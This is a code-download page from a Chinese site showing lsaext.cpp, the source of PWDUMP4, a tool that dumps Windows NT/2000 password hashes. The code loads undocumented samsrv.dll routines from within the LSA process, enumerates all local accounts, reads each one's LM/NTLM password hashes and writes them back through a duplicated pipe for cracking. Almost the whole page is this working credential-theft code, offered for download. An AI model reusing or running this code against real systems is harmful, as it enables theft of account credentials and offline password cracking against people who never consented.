⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 lsaext.cpp

📁 导出用户名口令的pwdump4的源代码
💻 CPP
字号:
/***************************************************************************
 * Program: PWDUMP4 - dump winnt/2000 user/password hash remote or local for crack
 * 
 * Copyright (c) 2002, 2003 bingle, all rights reserved
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 * Author:  bingle@email.com.cn
 * File:    LsaExt.cpp
 * Purpose: extract sam hash from lasss.exe
 * Date:    2002-1-20
 * 
 ***************************************************************************/

#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <ntsecapi.h>
#include "Global.h"

typedef DWORD HUSER;
typedef DWORD HSAM;
typedef DWORD HDOMAIN;
typedef DWORD HUSER;

typedef struct _sam_user_info 
{
    DWORD rid;
    LSA_UNICODE_STRING name;
} SAM_USER_INFO;

typedef struct _sam_user_enum 
{
    DWORD count;
    SAM_USER_INFO *users;
} SAM_USER_ENUM;

#define SAM_USER_INFO_PASSWORD_OWFS 0x12


// Samsrv functions
typedef NTSTATUS (WINAPI *SamIConnectFunc) (DWORD, HSAM*, DWORD, DWORD);
typedef NTSTATUS (WINAPI *SamrOpenDomainFunc) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
typedef NTSTATUS (WINAPI *SamrOpenUserFunc) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
typedef NTSTATUS (WINAPI *SamrEnumerateUsersInDomainFunc) (HDOMAIN, DWORD*, DWORD, SAM_USER_ENUM**, DWORD, PVOID);
typedef NTSTATUS (WINAPI *SamrQueryInformationUserFunc) (HUSER, DWORD, PVOID);
typedef HLOCAL   (WINAPI *SamIFree_SAMPR_USER_INFO_BUFFERFunc) (PVOID, DWORD);
typedef HLOCAL   (WINAPI *SamIFree_SAMPR_ENUMERATION_BUUFERFunc) (SAM_USER_ENUM*);
typedef NTSTATUS (WINAPI *SamrCloseHandleFunc) (DWORD*);


//  Samsrv function pointers
static SamIConnectFunc pSamIConnect;
static SamrOpenDomainFunc pSamrOpenDomain;
static SamrOpenUserFunc pSamrOpenUser;
static SamrQueryInformationUserFunc pSamrQueryInformationUser;
static SamrEnumerateUsersInDomainFunc pSamrEnumerateUsersInDomain;
static SamIFree_SAMPR_USER_INFO_BUFFERFunc pSamIFree_SAMPR_USER_INFO_BUFFER;
static SamIFree_SAMPR_ENUMERATION_BUUFERFunc pSamIFree_SAMPR_ENUMERATION_BUFFER;
static SamrCloseHandleFunc pSamrCloseHandle;


HANDLE hPipe = INVALID_HANDLE;
char szBuffer[1000] = { LSA_OUTPUT_TAG };

/* used to send dump result only */
void SendBuffer( char *buff, int bufflen )
{
	DWORD dwWritten;
	if( !WriteFile (hPipe, buff, bufflen, &dwWritten, NULL) )
    {
		_snprintf (szBuffer, sizeof (szBuffer),
                   "WriteFile failed: %d\nText: %s",
                   GetLastError (), buff);
        OutputDebugString (szBuffer);
	}
}

/* used to send message only */
int SendText( char *lpFmt, ... )
{
	va_list	arglist;
	DWORD dwWritten;
	char *ptr = szBuffer + 4;

	assert( strlen(LSA_OUTPUT_TAG) == 4 && memcmp( szBuffer, LSA_OUTPUT_TAG, 4 ) == 0 );
	assert( hPipe != INVALID_HANDLE );

	va_start( arglist, lpFmt );
	_vsnprintf( ptr, sizeof(szBuffer)-4, lpFmt, arglist );
	va_end( arglist );
	
	if( !WriteFile (hPipe, szBuffer, strlen(szBuffer), &dwWritten, NULL) )
		DebugOutput( "WriteFile failed: %d, Format: %s\n",
			GetLastError(), lpFmt);
	else return 1;

	return 0;
}



// Extract the hash data and store it in the registry.
int __declspec(dllexport) GetHash( unsigned pid, unsigned hid, unsigned magic )
{
    int i;

    LSA_OBJECT_ATTRIBUTES attributes;
    LSA_HANDLE hLsa = 0;
    PLSA_UNICODE_STRING pSysName = NULL;
    POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
    NTSTATUS rc, enumRc;
    HSAM hSam = 0;
    HDOMAIN hDomain = 0;
    HUSER hUser = 0;
    DWORD dwEnum = 0;
    DWORD dwNumber;
    SAM_USER_ENUM *pEnum = NULL;
    HINSTANCE hSamsrv;

    int ret = ERROR_NO_ERROR;

	HANDLE rpipe = (HANDLE)hid, hp;
	if( pid == 0 || rpipe == NULL || INVALID_HANDLE == rpipe )
	{
		DebugOutput( "Invalid param found, pid:%d, hid:%d", pid, hid );
		return ERROR_INVALID_PARAM;
	}

	hp = OpenProcess( PROCESS_DUP_HANDLE, 0, pid );
	if( !hp )
	{
		DebugOutput( "\nOpen target process %d failed, error: %u\n", pid, GetLastError() );
		return ERROR_OPEN_PROCESS;
	}
	if( !DuplicateHandle( hp, rpipe, GetCurrentProcess(), &hPipe, GENERIC_WRITE, 0, 0 ) )
	{
		DebugOutput( "Duplicate Handle %s failed, error: %u\n", hid, GetLastError() );
		return ERROR_DUP_PIPE;
	}

    // Get Sam functions
    if( NULL == (hSamsrv = LoadLibrary( "samsrv.dll" ) ) )
	{
		ret = ERROR_LOAD_SAMDLL;
		SendText( "LoadLibrary samsrv.dll failed, error: %u\n", GetLastError() );
		goto exit;
	}

    pSamIConnect = (SamIConnectFunc) GetProcAddress( hSamsrv, "SamIConnect" );
    pSamrOpenDomain = (SamrOpenDomainFunc) GetProcAddress( hSamsrv, "SamrOpenDomain" );
    pSamrOpenUser = (SamrOpenUserFunc) GetProcAddress( hSamsrv, "SamrOpenUser" );
    pSamrQueryInformationUser = (SamrQueryInformationUserFunc) GetProcAddress( hSamsrv, "SamrQueryInformationUser" );
    pSamrEnumerateUsersInDomain = (SamrEnumerateUsersInDomainFunc) GetProcAddress( hSamsrv, "SamrEnumerateUsersInDomain" );
    pSamIFree_SAMPR_USER_INFO_BUFFER = (SamIFree_SAMPR_USER_INFO_BUFFERFunc) GetProcAddress( hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER" );
    pSamIFree_SAMPR_ENUMERATION_BUFFER = (SamIFree_SAMPR_ENUMERATION_BUUFERFunc) GetProcAddress( hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER" );
    pSamrCloseHandle = (SamrCloseHandleFunc) GetProcAddress( hSamsrv, "SamrCloseHandle" );

    if( !pSamIConnect || !pSamrOpenDomain || !pSamrOpenUser || !pSamrQueryInformationUser 
        || !pSamrEnumerateUsersInDomain || !pSamIFree_SAMPR_USER_INFO_BUFFER 
        || !pSamIFree_SAMPR_ENUMERATION_BUFFER || !pSamrCloseHandle )
    {
        ret = ERROR_LOAD_SAMFUNC;
        SendText( "Failed to load functions, error: %u\n", GetLastError() );
		goto exit;
    }

    // Open the Policy database
    memset( &attributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES) );
    attributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);

    // Get policy handle
    rc = LsaOpenPolicy( pSysName, &attributes, POLICY_ALL_ACCESS, &hLsa );
    if( rc < 0 )
    {
        SendText( "LsaOpenPolicy failed: 0x%08x", rc );
        goto exit;
    }

    // Get Domain Info
    rc = LsaQueryInformationPolicy( hLsa, PolicyAccountDomainInformation, (void**)&pDomainInfo );
    if( rc < 0 )
    {
        SendText( "LsaQueryInformationPolicy failed: 0x%08x", rc );
        goto exit;
    }

    // Connect to the SAM database
    rc = pSamIConnect( 0, &hSam, MAXIMUM_ALLOWED, 1 );
    if( rc < 0 )
    {
        SendText( "SamConnect failed : 0x%08x(%u)", rc, LsaNtStatusToWinError(rc) );
        goto exit;
    }

    rc = pSamrOpenDomain( hSam, 0xf07ff, pDomainInfo->DomainSid, &hDomain );
    if( rc < 0 )
    {
        SendText( "SamOpenDomain failed : 0x%08x", rc );
        hDomain = 0;
        goto exit;
    }

	ret = 0;
    do
    {
        enumRc = pSamrEnumerateUsersInDomain( hDomain, &dwEnum, 0, &pEnum, 1000, &dwNumber );
        ret += dwNumber;
		if( enumRc == 0 || enumRc == 0x105 )
        {
            for( i = 0; i < (int)dwNumber; i++ )
            {
                char szUserName[300];
                unsigned  hashData[8];
                DWORD dwSize;
                PVOID pHashData = 0;
                memset( szUserName, 0, sizeof(szUserName) );

                // Open the user (by Rid)
                rc = pSamrOpenUser( hDomain, MAXIMUM_ALLOWED, pEnum->users[i].rid, &hUser );
                if( rc < 0 )
                {
                    SendText( "SamrOpenUser(0x%x) failed: 0x%08x", pEnum->users[i].rid, rc );
                    continue;
                }

                // Get the password OWFs
                rc = pSamrQueryInformationUser( hUser, SAM_USER_INFO_PASSWORD_OWFS, &pHashData );
                if( rc < 0 )
                {
                    SendText( "SamrQueryInformationUser failed: 0x%08x", rc );
                    pSamrCloseHandle( &hUser );
                    hUser = 0;
                    continue;
                }

                // Convert the username and rid
                dwSize = min( sizeof(szUserName), pEnum->users[i].name.Length >> 1 );
                wcstombs( szUserName, pEnum->users[i].name.Buffer, dwSize );
                sprintf( szUserName, "%s:%d:", szUserName, pEnum->users[i].rid );

                // Convert the user data
                memcpy( hashData, pHashData, 32 );
                obfuscate( hashData, magic, 8 );
				pHashData = strchr( szUserName, '\0' );
				memcpy( pHashData, hashData, sizeof( hashData ) );
                SendBuffer( szUserName, (char*)pHashData - szUserName + sizeof(hashData) + 1 );

                // Free stuff
                pSamIFree_SAMPR_USER_INFO_BUFFER( pHashData, SAM_USER_INFO_PASSWORD_OWFS );
                pHashData = 0;
                pSamrCloseHandle( &hUser );
                hUser = 0;
                
            }
            pSamIFree_SAMPR_ENUMERATION_BUFFER( pEnum );
            pEnum = NULL;
        }
        else
        {
            SendText( "SamrEnumerateUsersInDomain failed: 0x%08x", enumRc );
        }
    } while( enumRc == 0x105 );

	SendText( "Samr Enumerate %d Users In Domain %S.\n", ret, pDomainInfo->DomainName.Buffer );
	ret = 0;

 exit:
    // Clean up
#ifdef _DEBUG
	SendText( "ok\n" );
#endif
	if( hUser ) pSamrCloseHandle( &hUser );
    if( hDomain ) pSamrCloseHandle( &hDomain );
    if( hSam ) pSamrCloseHandle( &hSam );
    if( hLsa ) LsaClose( hLsa );
    if( hPipe ) CloseHandle( hPipe );
    if( hp ) CloseHandle( hp );
    if( hSamsrv ) FreeLibrary( hSamsrv );

    return ret;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -